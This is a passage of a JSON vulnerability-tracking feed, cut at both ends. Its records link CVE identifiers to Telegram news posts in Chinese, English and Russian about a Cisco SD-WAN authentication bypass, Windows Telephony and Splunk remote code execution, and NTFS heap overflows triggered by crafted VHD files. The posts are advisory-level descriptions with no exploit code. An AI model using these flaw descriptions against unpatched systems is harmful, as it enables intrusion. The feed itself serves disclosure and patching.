\uff0c\u901a\u62a5\u6b64\u4e8b\u7684\u6fb3\u5927\u5229\u4e9a\u7f51\u7edc\u5b89\u5168\u4e2d\u5fc3\u6307\u51fa\uff0c\u8fd9\u4e00\u6f0f\u6d1e\u7591\u4f3c\u5728\u4e09\u5e74\u524d\u5c31\u88ab\u5229\u7528\uff0c\u7f8e\u56fd\u7f51\u7edc\u5b89\u5168\u548c\u57fa\u7840\u8bbe\u65bd\u5b89\u5168\u5c40\u4e5f\u7f55\u89c1\u53d1\u5e03\u7d27\u6025\u6307\u4ee4\uff0c\u8981\u6c42\u6240\u6709\u8054\u90a6\u673a\u6784\u76d8\u70b9\u601d\u79d1 SD-WAN \u7cfb\u7edf\uff0c\u6e05\u67e5\u662f\u5426\u6709\u906d\u5230\u5165\u4fb5\u7684\u60c5\u5f62\u3002\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8eCatalyst SD-WAN Controller\u4e0eCatalyst SD-WAN Manager\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u53ef\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u5e76\u5f97\u5230\u7ba1\u7406\u5458\u6743\u9650\uff0cCVSS \u98ce\u9669\u8fbe\u523010\u5206\u3002\u9488\u5bf9\u6f0f\u6d1e\u5f62\u6210\u7684\u539f\u56e0\uff0c\u601d\u79d1\u6307\u51fa\u662f\u5bf9\u7b49\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\u672a\u6b63\u5e38\u8fd0\u4f5c\u9020\u6210\uff0c\u653b\u51fb\u8005\u53ef\u53d1\u9001\u7279\u5236\u8bf7\u6c42\u89e6\u53d1\u6f0f\u6d1e\uff0c\u4e00\u65e6\u6210\u529f\u5229\u7528\uff0c\u4ed6\u4eec\u5c31\u80fd\u5b58\u53d6\u5185\u90e8\u7684\u9ad8\u6743\u9650\u4f7f\u7528\u8005\u5e10\u53f7\uff08\u975eroot\uff09\u3002\n\n\u2014\u2014 ithome.com.tw", "creation_timestamp": "2026-08-29T06:00:04.260611Z"}, {"uuid": "b8a9135b-c878-45ae-b832-38823bb813cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2367", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-28T23:00:04.781730Z"}, {"uuid": "2453fe71-18ef-43de-97ed-8d2d2f4b9e50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2367", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-29T00:00:10.683814Z"}, {"uuid": "1ac7c104-5efc-4288-aa72-d232dc17074a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2736", "content": "\ud83d\udea8 BrEaKiNg: Splunk, a security product, has zero authentication in its built-in database service and accepts any credentials, according to the security researchers who just dropped a full pre-auth RCE chain for Splunk Enterprise (CVE-2026-20253, CVSS 9.8).\n\nSplunk Enterprise on AWS is vulnerable out of the box.\n\nhttps://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/", "creation_timestamp": "2026-07-29T00:00:12.050526Z"}, {"uuid": "e3430e86-0719-4d9d-a6e1-67b8effe5965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-29T00:00:34.432678Z"}, {"uuid": "60fe21f9-cd5f-4976-b8c0-5545924ea975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 